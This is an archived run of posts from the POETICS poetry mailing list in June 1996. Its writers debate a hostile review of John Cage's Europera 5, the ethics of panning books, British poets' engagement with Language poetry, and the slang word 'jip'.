Very best,

Ira

On Wed, 12 Jun 1996 18:45:29 -0500 Chris Stroffolino wrote:

>
> Dear ken Edwards---
> Could you elaborate on Miles Champion. The little I've
seen is interesting
> and it was good to see your willingness to include
him, while Ira, I
> think, seemed less to.....cs

↑ Index

229. **Mark Wallace**
hairs, and dead horses
Thu 13 Jun 1996

Dear herb Levy:

Thanks for your post about the way reviewing on newspapers works. I myself have worked on newspapers for about a decade, and the situation you describe seems pretty accurate to me.

Of course, the circumstances are somewhat different when a musician and art critic (like Tim Page, I understand?) who supposedly has some respect outside the newspaper environment you describe decides to take advantage of the environment you're speaking about in order to assault someone's work. That's not a fucked-up and unchangeable world press situation--that's someone who should know better acting like a jerk.

Of course, I wasn't really all that "angry" about it to begin with--I just presented some rather choice paragraphs from that foolishness. Then it seemed to me (and I may have misread intentions here, so for that I would apologize) that at least one person seemed to suggest that the review actually was a reasonable and well-considered critical position, and not the piece of bogus entertainment assault on art that you have clearly said it was.

But I wonder--and here's my question for you--at what point do we write off such things as irrelevant nonsense, and ignore them? That is, do we only respond to people who speak about arts who are in the arts environment, or do we make some attempt, however limited, to assert in other contexts that such behavior is unacceptable, whether anybody's listening or not? I think letters to the editor are in some cases actually a good idea--there may be someone who does see that letter who learns something they otherwise might not. For instance, I've published several letters to the editor in the past year, and have had students and even several administrators at the places where I work (people who would otherwise never read my work) not only tell me "way to go etc etc" but also that they hadn't quite realized what the position of "the other side" might be.

I think it's actually a good idea to take on ignorance when one encounters it, even in the newspapers, because in fact you never know who might be listening. While I certainly enjoy the discussions of various informed people on this list, I also feel something of an inclination to try to spread that information around, whenever possible.

As to whether Europera 5 is a great Cage piece or not, the point actually seems moot to me. I haven't heard it, but a number of people who have have written me to say how much they like it. I didn't write a letter to an editor this time around (the debate has actually all been here), but if somebody had, there is a possibility that someone else would have seen that letter and thought there was perhaps some reason for going to see the performance. They then could have decided for themselves.

mark wallace

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230. cris cheek

Re: post language poetry, post modernist poetry, fakes

Thu 13 Jun 1996

Hi, firstly apologies for my dirty conference washing being fenced through this line. That's the downside of simply punching the reply button. See some of you in New Hamshire then.

I've not wanted to get involved here on this topic. The framing of movements gives me jip enough. So the 'lang-po' (still that intrepid band of brigands from the water margins who came to the aid of the oppressed with their deadly martial skills) is a possibly useful short-hand beyond which specific differences come into play. I tend more towards the account of exchange and interaction between poetries operating in very different political, social and cultural contexts in the cases of UK and US. In that sense I agree with Ken, there

has been a liberal smattering of interaction between these poetries. I also agree with the drift of Ira's push, the real pith behind which lies a getting at different practices.

Ken's focii of connection aside, the overall reaction towards writers such as Watten, Silliman, Harryman, Benson, Hejinian, Bernstein, Andrews, di Palma, McCaffery, Ward, Robinson, Perelman, Darragh, Inman, Seaton, Sherry, Davies, Mason, Piombino (those who i first had any contact with and read during the later 1970s) that i've experienced in England, has been a mixture of suspicion coupled with denial, gradually mellowing to grudging acceptance without tangible enthusiasm. Fairly typical British retentive states. I'm not aware, on the qeustion of 'fakes' that there are poets in the UK who claim to be writing, or to have written, 'language' poetry ever.

For me, rather than specifically the Vietnam War, a defining cultural politics was 1976 punk and reggae, (when i started publishing in a kind of DIY fervour and incidentally first met Charles Bernstein) and the election of Margaret Thatcher's Conservatives in 1979 (when, effectively - after a period of intense collaboration in the US around Baltimore - I published a biggish collection 'a present' and then basically stopped publishing; what tiny things have been in the past couple of years are a refurbishment of hope).

'a present' is a book that bears hallmarks of the interaction with 'language'poetry. There is a splice column piece, for example, dedicated to Steve Benson to whose work I was drawn and felt close through aspects of syntax of improvised speech in performance and swerves of intimacy and distance in realtion to personalised everyday perceptual materials as much as anything else. In fact Steve, Allen Fisher and myself did a performance together in July 1984 'Assumptions Table' (it's published in full in Sulfur 18).

I'm quoting from that piece deidicated to Benson in 'a present' (Bluff Books,1980) - 'fume basic':

'fan in the rhythm of the fan dancing, dorsal tenacious too obscure, finis. i ought explain. make out. lob. naked. fish pass under grass reflection, into major traffic. does oppose. some would. welcome laurel. have a smoke. come closer than. save 10 cents. and, what color are the. be possible. . . .

pulse out. pulse, skin. the somewhat breakwater form from ocean lapping both, either. mean the leaves were bruising each other and the smell was coming into the house. my quivering n erves in my direction turn, face - to the washing up. as yet, as though we shave the different parts of each day are unglued. the bonding lips kiss table. or waters that fire imaginations'

There are here, elements of north american diction - some of the twists of that vernacular, filtered through an english heart. I would agree with Ira, no 'new sentence'. But then Ron identified, correctly in my opinion, that 'new sentence' as being a Bay area phenomenon.

In the absence of twentieth century British models for performance writing / poetic practice that really turned me on (aside from Ivor Cutler, Samuel Beckett, Tom Raworth, Tom Leonard, Allen Fisher) in the mid 1970s, it was refreshing to find a concern with the micro-politics of language, the de-constructive powers of syntax, the re-generative humours of rangey and interrogative thought, that did not have an overbearing tyranny of 'knowledge' as central to its project.

Contrary to what might be received opinion, it's been my pleasurable experience to find that Language writers are some of the most humane and funny and rigorously perceptive people that i know.

The work in UK writing is different. Issues of urban collapse, neo and post-colonialism, 'centralisation' as parochialism, cultural 'editing', everyday 'composition', re-integrating (navigating) beyond the over-fetishised fragments of the over-binarised post-modern. Signifier and signified simply won't do any more. Performance Writing is what's happening here for me, for others that will not be so - difference continues to be manufactured.

love and love
cris

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231. Robert Drake

Re: post language poetry, post modernist poetry, fakes

Thu 13 Jun 1996

> *The framing of movements gives me jip enough...*

likewise, i think... my british slang dictionary lists, under "jip": "india ink" (yep, that fits), also "energy" (australian, not as close but still)... care to help me update th entry?

lbd

↑ Index

232. **Tony Green**
Re: what matter who's speaking
Thu 13 Jun 1996

Seeing W for Godot at Royal Court while still plagued with adolescent
acne is still memorable -- partly because I wanted to leave em to it,
let em wait, I wanted to
walk out, about three-quarters
of the way thru. Cdn't handle it.
Realised that was significant but took a while for it to register on
me. Perhaps that's why I liked Coolidge's work immediately on
encountering it.

Tony Green,
e-mail: [redacted]

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233. **Tony Green**
Typo
Thu 13 Jun 1996

Rod Smith mentioning Joan Retalack reminds me I found 3rd impression of
Strachey's translation of Freud's Traumdeutung (1957?)

p.207
".....to a remark I had de
in which....."

&

p.209
" .....opposition journalists made
okes over Count Thun's name....."

best , and perhaps Rod or someone cd pass this on to Joan R.

Tony Green,
e-mail: [redacted]

↑ Index

234. **George Bowering**
Re: singnafump
Fri 14 Jun 1996

> *When one is stopped by a cop or a deconstructionist around YALE,*
> *all one needs do is yell "OPPEN YOU" or "OPPEN SESAME" and this*
> *can be quite seedy if novel...*

Odd, the cultural differences. I just came back from Seattle (saw games 3 and 4), and heard a taxi driver shout at a civilian driver "Reznikoff you, pal!"

.....
"Silence, sole luxury after rimes . . ."
--Mallarme

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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235. cris cheek
Re: post language 'jip' definitions
Fri 14 Jun 1996

Hi Bob, re - 'jip',

if you've got a tendency in your back muscles for postural punishment and every so often , or some days rather than others your back feels like it's playing up you might say 'my back's giving me jip'.

I've heard the term used more in connection with physical problems or procedural functions (my printer is giving me jip' than with interhuman communication. But i guess, although I haven't heard this - other brits here might testify - it's possible to say 'my boss is giving me jip'. I've avoided the boss scenarios most of my life and don't intend to restart now.

Certainly if you were using a nibbed pen with india ink and (as has been my experience with nibbed pens from time to time) you were subjected to uninvited blotting due to some malfunctioning aspects between the pen and yourself, you might well say 'this pen's giving me jip'.

So in terms of the slang dictionary definitions that you offer - it would be something like:

jip - adjectival noun. Non-exquisite interference, or niggling awareness of energetic displacement, somewhat like an unintentional ink blot (should such a thing exist). An irritating tending to focus away from intention.

Not very satisfactory i know. Maybe others can add.

love and love
cris

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236. **Herb Levy**
dead horse hairs
Fri 14 Jun 1996

Mark -

> *But I wonder--and here's my question for you--at what point do we write off such things as irrelevant nonsense, and ignore them? That is, do we only respond to people who speak about arts who are in the arts environment, or do we make some attempt, however limited, to assert in other contexts that*
> *such behavior is unacceptable, whether anybody's listening or not?*

It's not a matter of only speaking with the converted (which in the context of Cage, or most any other "experimental" artist, is a very, very small subset of "those who are in the arts environment"). There are simply more productive ways to make a public space for the work we want to see and read and hear, than getting your underwear in a knot about bad press. Most readers won't remember a bad review they saw a week ago, especially if it was about something they've never heard, read, or seen. They simply have no reference point.

The people who are motivated one way or another by newspaper reviews are usually those people who already have an idea what they think. Nobody's mind gets changed, & to most people it looks like an insular catfight about some esoterica, that isn't a tenth as important as where Dennis Rodman will get his next piercing when the Bulls beat the Sonics, or, if it's Wednesday, what's on sale at the supermarket.

It's much better to get actual new work in front of new audiences, people who don't know if they'll like it. Performances in unusual public areas, posting broadsides around town, getting things seen or heard on local tv & radio, etc. Everyone exposed to new work in this way WON'T like it, let's not kid ourselves, but some of them will and those folks may come back for more & they'll pay for it.

To paraphrase something Ron Silliman has written several times to the list and elsewhere, you build an audience one person at a time. & more than anything it's the work itself that's going to build that audience, not reviews, whether they're positive or negative.

I don't see much value in beating up on someone for having a different opinion than you do. I don't agree with him, you don't agree with him, but you're very unlikely to change Page's mind on this. He's an adult and he's quite possibly heard lots more of Cage's music than you have, and no matter how wrong you think he is, he has a right to his opinion.

Mark, you must know that Page is not the only person out there who does not like most of Cage's music. These people are not all idiots, they just don't like what they've heard. Hell, there are still people who think Stravinksy's music is too weird, just as there are people, who otherwise seem rational and intelligent, who think that Finnegans Wake, or Ulysses, for that matter, are mistakes by a pretty good realistic writer, or that Pop Art was nothig more than a wishy-washy sellout after the heroic vigor of Abstract Expressionism, or that the early Beatles were better than the early Rolling Stones.

I mean, I hope it's not news to you that not everyone on this list is totally sold on the work of, say, Susan Howe or Bruce Andrews. I'm just not ready to put these folks into re-education camps until they see the error of their ways.

Rather than writing cranky letters to the editor (really far more than a full time job, anyway), complaining about the reviewers who are already in place, it makes more sense to me to try to cultivate writers or editors to produce a context for alternative work. It's much more important to find someone to give the work some kind of support than to get into a hissy fit with the writers who dis it. Probably this can't be done in the Post, but maybe there's someone at the Reader who'd be more open to the work on a ongoing basis.

Besides, there are few newspaper reviewers that are hardline about this kind of thing & you may find Page an unexpected ally later on, if you don't piss him off. There's one reviewer in Seattle who had said almost nothing positive about ANY music written in the last seventy-five years, until she wrote a rave review of a performance of Morton Feldman's For Philip Guston (four and a half hours of shimmering, rotating mobiles of melody), a concert that I was surprised she even bothered to come to, let alone that she'd love it.

So go figure.

Bests

Herb Levy

[redacted]

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237. Michael Heller

Re: POETICS Digest - 12 Jun 1996 to 13 Jun 1996

Fri 14 Jun 1996

If some one has Rob Wilson's e-mail address, or if Rob is tuning in, please post it to me.

Michael Heller

[redacted]

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238. Robert J Wilson
Re: POETICS Digest - 12 Jun 1996 to 13 Jun 1996
Fri 14 Jun 1996

Michael, Yes, I am out here in a lifeboat at and around and off Bamboo Ridge, working to deform US cultural poetics inside a sovereign Hawaiian nation inside the postcoldwar empire of the sign. Just in case you were wondering, and the 'Dante boy' poetics is nowhere to be found. Send me an email missive at: [redacted] to keep me posted on NYC developments and your latest forays.

Susan Schultz and the Tinfish gang (as we work amping up Tinfish #3 for global [www] and local [sexy little chapbook, with new cover by HR editor Sean MacBeth] call it the Death Of Captain Cook School of Global/Local Poetics or, more simply, the PostLocal Local.

Hope you are doing well, Rob Sean Wilson

On Fri, 14 Jun 1996, Michael Heller wrote:

> *If some one has Rob Wilson's e-mail address, or if Rob is tuning in, please post it to me.*
>
> *Michael Heller*
>
> [redacted]

↑ Index

239. Rod Smith
Re: wild wild dead horse hairs
Fri 14 Jun 1996

NOW HERB, the early Beatles WERE better than the early Stones, read a good review the other day making just that point...

> *I don't see much value in beating up on someone for having a different opinion than you do.*

Yes, I'll go along with this.

>Rather than writing cranky letters to the editor (really far more than a
>full time job, anyway), complaining about the reviewers who are already in
>place, it makes more sense to me to try to cultivate >writers or editors to
produce a context for alternative work.

It seems to me part of the work of creating an audience IS writing cranky letters to the editors. A better example than Page of the extremely conservative

views on the arts forthcoming from the Post is book reviewer Jonathan Yardley. Sure, he has a right to his views, however noone with opposing views (i.e. noone as far left as he is right-- & in some ways this IS quantifiable) has any of the cultural capital this bloke's accrued. Unfortunately, he does have an impact, which goes unchallenged, & if it's unquestioned, people believe it-- just like the NYT version(s) of "history." Obviously, it's not ok. I will agree with you that the most effective way to change this is by going around them, "one person at a time." Yet, I do think they have an impact on what people think. They make the work of building an audience much harder.

Rod

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240. Jordan Davis
cultivating good reviewers
Fri 14 Jun 1996

I'm a fan of Neil Strauss's music reviews for the New York Times. Strauss, editor of the sublime _Radiotext(e)_ anthology (check out especially "Frequency Modulation or Fallen Man", a tribute to the inventor of FM), covers everything from the local pirate radio to bhangra to Bruce Springsteen, without resorting to cribs from the press release or even a momentary waver from his calm intelligent enthusiasm for both the old and great and the new and great. Strauss's prose is exceptional considering the rate at which for most reviewers there tha Times' requisite cool slopes into dorkiness, middling prose, and received ideas (torpor)--the retired Frank Rich being the big exception. Rich's review of Sting in Three Penny Opera is my standard for meanness; it begins like this--

'Returning home from the new staging of TPO, the theatergoer rushes to put the original (1950s) cast soundtrack on the turntable. Not to relive the evening's high points--there aren't any--but to reassure oneself that one is among the living.'

What I would really enjoy is to encourage a very good book reviewer working at a high circulation newspaper to read and write about poetry. All I do now is glare at my Voice whenever Peter Schjeldahl uses the word 'poetry' (triggering his subroutine about poetry being over) to talk about some new catastrophe in art.

Jordan Davis

(That reminds me. I can think of a couple people who write in more public places very well if only occasionally about poetry--Albert Mobilio and Geoffrey O'Brien. O'Brien's piece on Susan Howe in the Voice six years ago was responsible for building more audience for her work in New York than anything that

side of the Susan Howe issue of Talisman. And Mobilio's much-missed magazine columns in the VLS were the most reliable way to find out when Hambone was about to arrive--it's difficult to imagine the VLS under its current benighted regime deigning to print anything about poetry not written by or about poets published by the major houses--by which I mean those famous poets Newhouse and Murdoch. So much for independence!)

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241. Eliza McGrand- CVA Guest

reviews -- a query about ethics, contexts, and consequences

Fri 14 Jun 1996

---

i've been watching the thread about a harsh review, and wrestling with a review i have to write a book of poetry (though not, jordan, for a major venue!) for some time, and it finally occurred to me that this list might be a good place to put the ethics and questions of the problem out for discussion.

imagine you were given a bad book to review, the book of a writer (poetry and academic) who has, heretofore, produced somewhat interesting though not stellar work. imagine this writer teaches creative writing, and has produced a "How-To" text (with someone else) on writing although the writer's credentials are not strong. further, the book to be reviewed has poems which even venture to lecture, for example, on the importance of technique while the lack of same has plagued every poem. the badness of the writing is such that you knew, before you read the biographical sketch, that the writer must teach creative writing to beginners because there are so many "ok everyone i'm going to be creative here" lines, poems that make a great big overwritten fuss about nothing, and overused and even trite phrases and images.

but the writer also comes from a much under-represented sector of writers (though none of the experience arising from that context is explicitly present in the current book). further, the writer's publisher is a small, underfunded press which has taken on a very worthy publishing venture, one you wish to support and most off the problems might have been cleared away had the book a bang-up editor (which the press does not have the money to hire).

does one write the scathing blast which seems to work it's way into every sentence (despite efforts to be moderate)? is there something unendurabaly prissy about condemning another writer for not trying hard enough and publishing a very very poor book while there exists great writers under all sorts of pressure who don't publish until they have work that is really worthwhile, silent sometimes until their death.

imagine you are new to reviewing, aware that you might have the overzealousness common to the fresh and idealistic, and almost certainly are in a

vulnerable position professionally -- is honesty really important or effective here? does someone have to stand up and say when something is really awful? should that someone be not well-known writer? or, in retrospect, is one (at that stage) usually happier about those chapters in which one is moderate, merciful, and/or discreet? should david engage goliath, especially without an omnipotent fixer?

i find myself thinking, on the one hand, of a writer's story of a workshop where someone gave out a perfectly awful poem for discussion. the group sat around for about ten minutes trying to give very careful, serious, and ultimately not very direct suggestions on how to improve the poem. finally a woman who had been silent the entire time exploded, saying something like "i can't believe you all -- for ten minutes you have been treating this poem as if it were really good. but it is terrible, and it is an insult to this writer to patronize him by not saying so."

but i also think of friends whose professional discretion make them an incredible asset to any committee or group or project, aboutut the strong reaction here to the negative article. and about herb's feeling that reviews are not, ultimately, going to alter anyone's opinion or guide them (though i disagree -- if a trustworthy source pans a movie, depending on the direction of the critique, i might well not go to it without some other strong motivation). there is also his point that reviewers essentially are preaching to the converted, if they are heard at all. what aboutthe possibility of reviews being stained by reviewer's preferences -- what is a yardstick for knowing when our distaste for something comes from distorting theoretical loyalties rather than fundamental principles and basics of art?

have you ever strongly panned a text? if so, did you regret it later? or did you feel a negative review was best? did it have unpleasant consequences? if so, could you or would you have done anything to mitigate them? so you wish you had tried? if there were no unpleasant consequences from the negative review, was there anything you did that might have helped avert them?

does any of it really matter -- are these reviews tempests in teapots and not to be taken seriously?

e

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242. henry gould
Re: wild wild dead horse hairs
Fri 14 Jun 1996

On Fri, 14 Jun 1996 11:32:02 -0400 Rod Smith said:
>
>It seems to me part of the work of creating an audience IS writing cranky
>letters to the editors.

Crank 'em out, fellas. BUILD them audience muscles!

> *opposing views (i.e. noone as far left as he is right-- & in some ways this IS quantifiable) has any of the cultural capital this bloke's accrued. Unfortunately, he does have an impact, which goes unchallenged, & if it's unquestioned, people believe it-- just like the NYT version(s) of "history." Obviously, it's not ok. I will agree with you that the most effective way to change this is by going around them, "one person at a time." Yet, I do think they have an impact on what people think. They make the work of building an audience much harder.*

Come here, you. I said YOU.
Gonna read you this sonnet - you, audience!
Listen up! Hey!
Come back here!

This art biz is righteous work, leftover!
You gotta rhyme it EVERY day in EVERY way!
DAmn the torpid newsbuzzers! Full beats ahood!
Hey - that's part a my poem! Get back here!

Gonna free your mind with my Venetian blind....yeah (c.f. early Trashmen) -
Henri leGoulash

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243. henry gould
Re: reviews -- a query about ethics, contexts, and consequences
Fri 14 Jun 1996

My advice
if you want the truth
is just shake the dice
outa both sides of yr mouth
thumbs down to some
thumbs up to the dumb
and if you think that's terrible
go check out a parable

- Hank the rank Think-Tank

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244. David Baratier
voice reviewers
Fri 14 Jun 1996

Jordan,

Perhaps the deterioration is because the Voice is free now from currency and hasn't been spotted since late April in Manhattan

David Baratier

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245. Carnography
Re: Typo
Fri 14 Jun 1996

Tony Green typed:

> *Rod Smith mentioning Joan Retalack reminds me I found 3rd impression of Strachey's translation of Freud's Traumdeutung (1957?)*
>
> *p.207*
> *".....to a remark I had de in which....."*
>
> *p.209*
> *" .....opposition journalists made okes over Count Thun's name....."*

You know, Perry Meisel often compares Strachey's translations of Freud to _Mrs. Dalloway_ and now I know why. I don't know about Joan R., but you *have* managed to forward this to Mr. Rothenberg.

Hardin

http://www.interport.net/~scrypt

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246. Carnography
Re: dead horse hairs
Fri 14 Jun 1996

Herb Levy typed:

> *To paraphrase something Ron Silliman has written several times to the list and elsewhere, you build an audience one person at a time. & more than*

> *anything it's the work itself that's going to build that audience, not reviews, whether they're positive or negative.*

Lynne Tillman likes to talk about the pleasure she derives from people who speak of their "audience"--of a pre-existing group of people who are thought to gather for some new work of hers. A publisher says, "but your audience!" She replies, "Before I publish a book, my audience doesn't exist!" She also loves it when a colossal Hollywood sequel flops and film people, who had thought that the film *already had an audience*, are mystified.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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247. henry gould
Re: dead horse hairs
Fri 14 Jun 1996

On Fri, 14 Jun 1996 15:07:07 -0400 Carnography said:
>Lynne Tillman likes to talk about the pleasure she derives from people
>who speak of their "audience"--of a pre-existing group of people who
>are thought to gather for some new work of hers. A publisher says,
>"but your audience!" She replies, "Before I publish a book, my
>audience doesn't exist!"

Maybe this is relevant:

Schubert on the water, Mozart in birds' clatter,
and Goethe whistling on a winding path,
and Hamlet meditating with anxious steps,
all counted the crowd's pulse, believed the crowd.
Maybe, before there were lips, there was a whisper,
and before there were trees there were leaves whirling,
and those to whom we dedicate this our experiment,
before the experiment, have accumulated eyes and noses and mouths.

O. Mandelstam, trans.Burton Raffel {though I like James Greene's better) - H. Gould

↑ Index

248. **Pritchett,Pat**

Re: reviews -- a query about ethics, con

Fri 14 Jun 1996

Hello everyone. I'm new to the List and will here venture a response to Eliza's very pertinent query.

As a reviewer for various papers and mags, most recently the American Book Review, for some years now, I will emphatically say that yes it does matter; whatever the faults of the system, reviewing plays an important role in the publishing/reading world as a whole which we can't seem to get along without. Most of the time, as with the NYTBR, it seems like little more than an adjunct (not to the Muse's diadem) but to the PR depts. of Random House, S&S, et al. But intelligent, thoughtful reviews can boost sales of a little known book and moreover, can mean a lot to a writer who has labored in obscurity and feels rather isolated from things.

I try to keep in mind what Malcolm Cowley once told some students of his at Stanford: Always remember that it takes as much hard work to write a bad book as it does a good one. I have panned books in the past, sometimes savagely (e.g. Bob Shacocis' "Swimming in the Volcano"). I feel it's something I've grown out of. I no longer need the sense of vindication that seems to be the natural response to a book which arouses genuine indignation. Taking a tip from Auden, I no longer review books I don't like. There's plenty of good ones which need all the support they can get. And while this will probably strike some as corny and decidedly ante-postmodern, I find that sincerity can make up for a plethora of other faults, while no amount of artifice can take the place of honest intentions. Which opens up another can of worms entirely about how we assess intentionality vis-a-vis literary personas, etc.

You mention the intentions of the publisher: I find that to be irrelevant. A work should be judged on its own merit. There are of course mitigating factors and these can and should be mentioned to "soften the blow," if it feels appropriate. What counts is the end result, though. Otherwise, there'd be no end of "masterpieces", my own included.

It's the job of a reviewer to praise what he or she feels to be good and to say what is bad, inferior or just doesn't work. DHL said all good criticism is subjective. I would not shirk from calling a bad book bad. I just don't go out of my way looking for them. Fortunately my various editors let me pick and choose. The worst response I got from a bad review - it was a mixed negative of Ginsberg's last book - was a crisp letter from a highly respected poet which gave me serious food for thought. We have since become friends. So go figure... Best advice: Reviewing is highly political, in one sense, but should be practiced as though it isn't. It's a rare book that is completely bad; somewhere there's bound to be at

least the suggestion of an interesing if poorly expressed idea, though not always. Find that and use it. In the end, pulling punches does you no good and is a disservice to writers everywhere. ---------- From: Eliza McGrand- CVA Guest To: Multiple recipients of list POETICS Subject: reviews -- a query about ethics, contexts, and consequences Date: Friday, June 14, 1996 12:16PM

i've been watching the thread about a harsh review, and wrestling with a review i have to write a book of poetry (though not, jordan, for a major venue!) for some time, and it finally occurred to me that this list might be a good place to put the ethics and questions of the problem out for discussion.

imagine you were given a bad book to review, the book of a writer (poetry and academic) who has, heretofore, produced somewhat interesting though not stellar work. imagine this writer teaches creative writing, and has produced a "How-To" text (with someone else) on writing although the writer's credentials are not strong. further, the book to be reviewed has poems which even venture to lecture, for example, on the importance of technique while the lack of same has plagued every poem. the badness of the writing is such that you knew, before you read the biographical sketch, that the writer must teach creative writing to beginners because there are so many "ok everyone i'm going to be creative here" lines, poems that make a great big overwritten fuss about nothing, and overused and even trite phrases and images.

but the writer also comes from a much under-represented sector of writers (though none of the experience arising from that context is explicitly present in the current book). further, the writer's publisher is a small, underfunded press which has taken on a very worthy publishing venture, one you wish to support and most off the problems might have been cleared away had the book a bang-up editor (which the press does not have the money to hire).

does one write the scathing blast which seems to work it's way into every sentence (despite efforts to be moderate)? is there something unendurabaly prissy about condemning another writer for not trying hard enough and publishing a very very poor book while there exists great writers under all sorts of pressure who don't publish until they have work that is really worthwhile, silent sometimes until their death.

imagine you are new to reviewing, aware that you might have the overzealousness common to the fresh and idealistic, and almost certainly are in a vulnerable position professionally -- is honesty really important or effective here? does someone have to stand up and say when something is really awful? should that someone be not well-known writer? or, in retrospect, is one (at that stage) usually happier about those chapters in which one is moderate, merciful, and/or discreet? should david engage goliath, especially without an omnipotent fixer?

i find myself thinking, on the one hand, of a writer's story of a workshop where someone gave out a perfectly awful poem for discussion. the group sat around for about ten minutes trying to give very careful, serious, and ultimately not very direct suggestions on how to improve the poem. finally a woman who had been silent the entire time exploded, saying something like "i can't believe you all -- for ten minutes you have been treating this poem as if it were really good. but it is terrible, and it is an insult to this writer to patronize him by not saying so."

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have you ever strongly panned a text? if so, did you regret it later? or did you feel a negative review was best? did it have unpleasant consequences? if so, could you or would you have done anything to mitigate them? so you wish you had tried? if there were no unpleasant consequences from the negative review, was there anything you did that might have helped avert them?

does any of it really matter -- are these reviews tempests in teapots and not to be taken seriously?

e

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249. Carnography

Re: reviews -- a query about ethics, contexts, and consequences

Fri 14 Jun 1996

Eliza:

> *does one write the scathing blast which seems to work its way into every sentence (despite efforts to be moderate)?*

I try not to blast a writer who is doing anything even remotely ambitious. I also consider the books that might be written *after* the book I dislike--after the book I don't want said writer to choke on first.

Best, I think, to save your harshest criticisms for private conversations. Editors love harsh reviews and controversy, but that's because they aren't signing their own names to such reviews. Anger can give you amazingly clear vision, but your vision won't necessarily be balanced. Personally, I still wince at the harshest criticisms I've made in public. I hate discouraging people over trifles. After all, in the words of Montaigne's medallion, "What do I know?"

> *is there something*
> *unendurabaly prissy about condemning another writer for not trying*
> *hard enough and publishing a very very poor book while there exists*
> *great writers under all sorts of pressure who don't publish until they*
> *have work that is really worthwhile, silent sometimes until their*
> *death.*

Not prissy, just misguided. Since the book is already published, slamming it won't do anything for yet-unpublished books. You'd have to be an editor at a publishing house for this sort of reasoning to apply.

> *is honesty*
> *really important or effective here? does someone have to stand up and*
> *say when something is really awful?*

Honesty is important. Tactlessness isn't.

> *have you ever strongly panned a text? if so, did you regret it later?*
> *or did you feel a negative review was best? did it have unpleasant*
> *consequences?*

See above.

if so, could you or would you have done anything to
> mitigate them? so you wish you had tried? if there were no
> unpleasant consequences from the negative review, was there anything
> you did that might have helped avert them?

Bottom line: I don't believe in discouraging other artists. I do offer concrete criticisms and suggestions where I think they might be helpful. But I don't believe I've ever said or written, "_....._ sucks" unless it was partly an ideological/sociological matter.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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250. **Fred Muratori**

Re: reviews -- a query about ethics, con

Fri 14 Jun 1996

From: Eliza McGrand- CVA Guest

> *have you ever strongly panned a text? if so, did you regret it later? or did you feel a negative review was best? did it have unpleasant consequences? if so, could you or would you have done anything to mitigate them? so you wish you had tried? if there were no unpleasant consequences from the negative review, was there anything you did that might have helped avert them?*
>
> *does any of it really matter -- are these reviews tempests in teapots and not to be taken seriously?*
>
> *e*

I've been reviewing poetry for various venues now for about 15 years, and negative reviews are always harder to write than positive ones. They are, however, in some cases necessary. What do I mean by "in some cases?" Well, while I don't see the point in demolishing a first book by a new writer, (I've seen some good -- if not spectacular -- fledgling poets get royally whomped in big-name journals by big-name poets/critics, and it can really hurt their future reception, no matter how good their subsequent work becomes), there are lots of naked emperors out there, and I'd really like to see reviewers give them a bit more in the way of honest criticism than they're getting. In other words -- they should pick on poets their own size. It's easy to trash Mr. or Ms. Whothehellizzat with a first book from Cleveland State, but a Sharon Olds or a John Hollander or a Richard Howard? Gulp. Forget about someday seeing your own work in _Paris Review_ (or whatever mag the criticized or friend-of-the-criticized poet edits) if you do. That's part of the problem: many reviewers are themselves poets, and feel that they have to be careful about whose tree they shake. What I'd like to see -- up front -- are admissions that the reviewer was a poet's student (or teacher), or spouse, or departmental colleague, etc. When I see best buddies reviewing each other's books, I'm inclined to take the review just a little less seriously -- as little more than an extended blurb -- which is why I return review copies of books by people I'm more than only marginally acquainted with, even if I like the work.

Still, reviews -- even mixed or less-than-favorable ones -- are very important for any poet; they're part of the paper trail of existence, confirmation that someone at least noticed another's attempt to contribute to the culture.

P.S. One negative review I wrote was never printed. Turned out that the editor of the mag was having lunch with the publisher, and inadvertently let the

person eyeball the review. He made such a row that the mag scrapped the piece to appease him, even though the editor professed that the review was civil and fair, and that she agreed with it. What's even more ironic -- the author was dead and the press was really little more than a vanity outfit. Go figure.

****

Fred Muratori "Certain themes are incurable."

([redacted])
Reference Services Division - Lyn Hejinian
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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251. Ken Edwards
post language poetry, post modernist poetry, fakes
Fri 14 Jun 1996

Chris Stroffolino wrote:

Dear ken Edwards--- Could you elaborate on Miles Champion. The little I've seen is interesting and it was good to see your willingness to include him, while Ira, I think, seemed less to.....cs

Miles' book from Carcanet is, as I posted before, called _Compositional Bonbons Placate_. Great cover by Trevor Winkfield. Don't know how easy it is for you to get Carcanet books over there -- probably SPD is the place. Miles also has a chapbook from Cris Cheek's press Sound & Language, _Sore Models_. Later this year, he will be included in a mini-anthology of four poets from my own press, Reality Street Editions, probably to be titled _Sleight of Foot_.

Miles is an enthusiast for the work of Teds Berrigan and Greenwald, as well as Raworth, Ashbery et al, all of whose influences I think can be discerned in his work, which is oblique, fast-moving, amusing, uneven but definitely sparky.

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252. Ken Edwards
post language poetry, post modernist poetry, fakes
Fri 14 Jun 1996

Amen to Cris' post. I couldn't agree more. When I spoke of "intelligent engagement" with language poetry by British poets, Ira, I did not mean slavish

imitation -- that wouldn't be very intelligent. Like Cris, I can think of none of us who imitates language poetry or could be accurately described as a language poet. But some are more open to foreign models than others. Also some of the traits you discern in language poetry are independently discernible in some of the poetry being originated here.

(eg quote "the attitude to language or presence, in any
number games, paragraph organisation, or
relation of page to page, or dual columns,
in the way that it is in any of the poets
mentioned" -- well, see Allen Fisher, passim)

Ira, I don't agree with your assessment of Miles Champion, that he is being flip or embarrassed: rather I see in him an (engagingly boyish?) enthusiasm for life and letters. He does imitate the objects of his enthusiasm from time to time, I'll grant you, but that's no bad thing necessarily, as Ted Berrigan has pointed out.

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253. Mark Wallace
Susan Howe and Samuel Beckett
Sat 15 Jun 1996

Dear Herb Levy:

Well, actually it seems to me that the value of the work of Susan Howe or Samuel Beckett (or many others, maybe) is not only obvious, but something that it would be pretty hard to argue against very successfully. One can, I suppose, have reasonable questions about the limitations of their work, but as to dismissing it entirely, I'm still under the impression that that's an opinion I don't really have to respect too much.

It's quite possible not to like John Cage's work, but to blatantly and obviously misrepresent it seems to me is another matter. Whether one likes Cage's work or not, to come to the conclusion that he's doing "nothing" when he spent years elaborating what he's doing does not seem a matter of opinion to me--I suppose one has the right to be of any "opinion" one wants, but if it's blatantly and purposefully disinformational, that's not an opinion that counts for much. Disagree with Cage, sure, that's fine. But pretend as if it's okay to act as if he never said anything at all? No way. I think I'll continue to be as angry about that as I want to be.

